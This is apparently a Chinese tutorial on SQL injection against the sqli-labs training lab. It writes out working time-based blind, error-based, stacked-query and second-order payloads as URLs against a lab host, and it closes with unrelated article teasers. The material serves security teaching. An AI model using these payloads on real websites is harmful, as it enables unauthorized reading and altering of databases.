SQL注入-中篇

SQL盲注

一、时间盲注

模拟环境:Less-9

  1. 概述

延迟注入,一种盲注的手法,提交对执行时间敏感的sql语句,通过执行时间的长短来判断是否执行成功。

  1. 时间注入函数
sleep()
if()
ascii()
substring()
length()
mid()

判断是否存在延时注入(Less-9)
  1. 源SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1
  2. 判断方式一
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and sleep(5) -- 

# 注入

http://10.196.93.67/sqli-labs/Less-9/?id=1' and sleep(5) --

  1. 判断方式二
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and if(1=1,sleep(4),1) -- 

#注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(1=1 ,sleep(5),1) -- 

image.png

查询当前数据库的长度

结果为:8位

# SQL 
 select * from `security`.users where id ="1" and if((select length(database()))=8,sleep(4),1) -- 
 #注入
 http://10.196.93.67/sqli-labs/Less-9/?id=1' and if( (select length(database()))=8 ,sleep(5),1) -- 

image.png

查询当前数据库名
#sql 
select * from `security`.users where id = "1"  and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1) -- 

image.png

查询当前数据库表的数量
#sql
select * from `security`.users where id = "1" and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1) -- 

image.png

查询当前数据库表的名称
# sql
select * from `security`.users where id = "1" and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1) -- 

image.png

查询当前数据库users表的字段个数
# sql
select * from `security`.users where id = "1" and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1)

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1) -- 

image.png

查询当前数据库users表的字段名称
# sql
select * from `security`.users where id = "1" and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1)
# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1) -- 

image.png

二、报错注入

概述

报错注入是将mysql存在的函数,通过编写错误的SQL语句,从而得到需要的查询结果。

使用场景
  1. 能够将SQL报错信息展示到页面上
  2. 使用mysql自带的函数,通过错误的使用,导致语法被执行
利用函数
floor() #重点
extractvalue() #重点
updatexml() # 重点
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

报错注入-固定写法

extractvalue()
  1. 示例
#SQL语句
select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 
# 结果:
/*
[SQL]select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 

[Err] 1105 - XPATH syntax error: '~root@localhost~'

*/

floor()
  1. 概述

floor报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致查询临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且抛出的SQL语句执行后的结果。

  1. 函数作用:
    1. floor() 向下取整
select floor(-1.8)  # -2
select floor(1.1) # 1
select floor(1.8) # 1
  1. count(): 计数
  2. concat() : 将字符连接
  3. rand():伪随机函数(当该函数传入参数时,返回的值就是固定的,没有传参就是随机的)
select rand(); # 值是随机的
select rand(1);# 第一次随机值是多少,后面在执行也是第一次返回的值
  1. group by 分组
# 示例 对username字段进行分组
select count(*) ,username from `security`.users group by username;
# 结果:

image.png

updataxml()

image.png

堆叠注入

一、原理

php方法:mysql_multi_query()
支持多条sql语句同时执行,通过分号分隔,成堆的执行sql语句

select user();select database();

二、Less-38

# sql
select * from users; insert into users(id,username,password) value(22,"a","e");

# 注入
http://10.196.93.67/sqli-labs/Less-38/?id=1' ; insert into users (id,username,password) value(33,"v","v") -- 

image.png

二次注入

一、利用场景

  1. 能够将恶意SQL存入到数据库中
  2. 保证在网页方可以引用该数据

二、Less-24

  1. 万能密码
    1. admin ' and 1=1 #
#sql
select * from `security`.users union select 1,user(),database();
# 在注册用户名和密码时,用户名输入框输入SQL: v ' union select 1,user(),database();

image.png

宽字节注入

一、原理

网站对注入SQL点添加了过滤条件,不能添加单引号,宽字节注入就是为了绕过检测过滤的。

二、注入条件

  1. 条件一
    1. 数据库查询设置为GBK编码
  2. 条件二
    1. 使用了addslashes()mysql_real_escape_string()/mysql_escape_string()之类的函数

三、Less-36

尝试使用%81来检测
image.png

HTTP请求头注入

Useragent注入(Less-18)

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/720810.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【跟我学RISC-V】(三)openEuler特别篇

写在前面 这篇文章是跟我学RISC-V指令集的第三期,距离我上一次发文已经过去一个多月了,在这个月里我加入了oerv的实习项目组,并且还要准备期末考试,比较忙。 在这篇文章里我会隆重、详细地介绍一个对RISC-V支持非常友好的Linux发…

Apache Druid-时序数据库

Apache Druid:是是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台,旨在对大型数据集进行快速的查询分析("OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景&…

Linux top 命令使用教程

转载请标明出处:https://blog.csdn.net/donkor_/article/details/139775547 文章目录 一、top 是什么二、top的基础语法三、top输出信息解读 一、top 是什么 Linux top 是一个在Linux和其他类 Unix 系统上常用的实时系统监控工具。它提供了一个动态的、交互式的实时…

Matlab复数相关

文章目录 MATLAB复数相关知识相关函数 MATLAB复数相关知识 相关函数 假定存在复数zabi 函数说明real(z)返回复数z的实部(a)imag(z)返回复数z的虚部(b)abs(z)返回复数的模即|z| ( ( a 2 ) ( b 2 ) \sqrt{(a^2)(b^2)…

modbus流量计数据解析(4个字节与float的换算)

通过modbus协议从流量计中读取数据后,需要将获得的字节数据合成float类型。以天信流量计为例: 如何将字节数据合并成float类型呢?这里总结了三种方法。 以温度值41 A0 00 00为例 目录 1、使用char*逐字节解析2、使用memcpy转换2、使用联合体…

AI大模型落地应用场景:LLM训练性能基准测试

随着 ChatGPT 的现象级走红,引领了AI大模型时代的变革,从而导致 AI 算力日益紧缺。与此同时,中美贸易战以及美国对华进行AI芯片相关的制裁导致 AI 算力的国产化适配势在必行。之前也分享过一些国产 AI 芯片、使用国产 AI 框架 Mindformers 基…

范式(上)-第一范式(1NF)、第二范式(2NF)、第三范式(3NF)、可用关系模式

一、范式的作用 根据关系模式间属性的数据依赖来评价关系模式的好坏 以下我们将基于函数依赖的范围内来讨论范式 二、范式的定义 1、数据依赖满足一定约束的关系模式是范式 2、范式是符合某一级别的关系模式的集合,关系模式R为第几范式可记为 三、第一范式&am…

API-操作元素内容

学习目标: 掌握操作元素内容 学习内容: 操作元素内容元素innerText属性元素innerHTML属性案例 操作元素内容: DOM对象都是根据标签生成的,所以操作标签,本质上就是操作DOM对象。就是操作对象使用的点语法。如果想要修…

鸿蒙 Text文本过长超出Row的范围问题

代码如下: 可以发现随着文本内容的增加, 第二个组件test2明显被挤出了屏幕外, 感觉像是Row自己对内容的约束没做好一样, 目前没看到官方的推荐解决方法, 机缘巧合下找到了个这种的办法, 给内容会增加的组件设置layoutWeight(), 借助layoutWeight的特性来解决该问题, 改动后代码…

Angular13 如何创建一个模拟后端mockServe

在前端和后端的同时开发中,从事应用程序的 Angular 开发人员必须能够与虚假后端进行交互,以便通过模拟后端数据来创建 UI。其中我们就会使用 json-server 和 nodemon 的npm 包来帮助我们完成这个过程。 json-server 是一个提供完整假 REST API 的包&…

如何避免vue的url中使用hash符号?

目录 1. 安装 Vue Router 2. 配置 Vue Router 使用 history 模式 3. 更新 main.js 4. 配置服务器以支持 history 模式(此处需要仔细测试) a. Nginx 配置 b. Apache 配置 5. 部署并测试 总结 在 Vue.js 项目中,避免 URL 中出现 # 符号的…

Qt | 简单的使用 QStyle 类(风格也称为样式)

01、前言 者在 pro 文件中已添加了正确的 QT+=widgets 语句 02、基础样式 1、QStyle 类继承自 QObject,该类是一个抽像类。 2、QStyle 类描述了 GUI 的界面外观,Qt 的内置部件使用该类执行几乎所有的绘制,以确保 使这些部件看起来与本地部件完全相同。 3、Qt 内置了一系…

电影时间首页(HTML+css)

使用HTMLcss制作的一个简单的电影时间首页 <!DOCTYPE html> <html><head><meta charset"UTF-8"><title>电影时间首页</title></head><body><!--header begin--><div style"height: 63px;">&…

如何将编译过的C++库迅速部署在Visual Studio新项目中

本文介绍在Visual Studio中&#xff0c;通过属性表&#xff0c;使得一个新建解决方案中的项目可以快速配置已有解决方案的项目中各类已编译好的C第三方库的方法。 例如&#xff0c;我们现有一个解决方案&#xff0c;其中的一个项目需要调用Armadillo、OpenCV等多个不同的C第三…

如何用Java SE数组实现高速的数字转换功能

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

jdk17详细安装步骤

本文以Windows系统&#xff0c;JDK17版本作为示例&#xff0c;其他版本的操作步骤类似。 一、下载 进入官网后往下翻&#xff0c;找到JAVA17&#xff0c;然后点击Windows 点击下载。 二、安装 安装 JDK的安装是无脑安装&#xff0c;就是一路下一步下一步。。直到完成。默认安…

怎么提取视频中的音频?别错过这6个音频提取方法了!(全新)

您是否曾经发现过一个音乐很棒的视频&#xff0c;并想从视频中提取音频&#xff1f;如今&#xff0c;关于提取mp4视频中的音频需求越来越常见。例如&#xff0c;您可能想从mp4格式的电影中提取音频&#xff0c;将音乐用作手机铃声&#xff0c;或在自己的视频项目中使用视频中的…

sourceTree 解决remote: HTTP Basic: Access denied报错mac

解决sourceTree中remote: HTTP Basic: Access denied报错 mac sourcetree报错报错原因解决方案 mac sourcetree报错 warning: invalid credential line: xxx.com remote: HTTP Basic: Access denied fatal参考链接&#xff1a;https://developer.aliyun.com/article/1304149 …

Java算法常用技巧

一、排序 资料&#xff1a;https://blog.csdn.net/weixin_72499901/article/details/136592073 正排序 import java.util.Arrays;public class SortArray {public static void main(String[] args) {int[] citations {5, 3, 8, 2, 1, 4};// 打印原数组System.out.println(&…

TikTok养号新手保姆级教程

对于很多刚开始运营TikTok的新手小白来说&#xff0c;都会有一个同样的疑问&#xff0c;那就是&#xff1a;TikTok到底需不需要养号&#xff1f;这里明确告诉大家是需要养号的&#xff0c;今天就把我自己实操过的养号经验和策略总结出来&#xff0c;分享给大家。 一、什么是Ti…
最新文章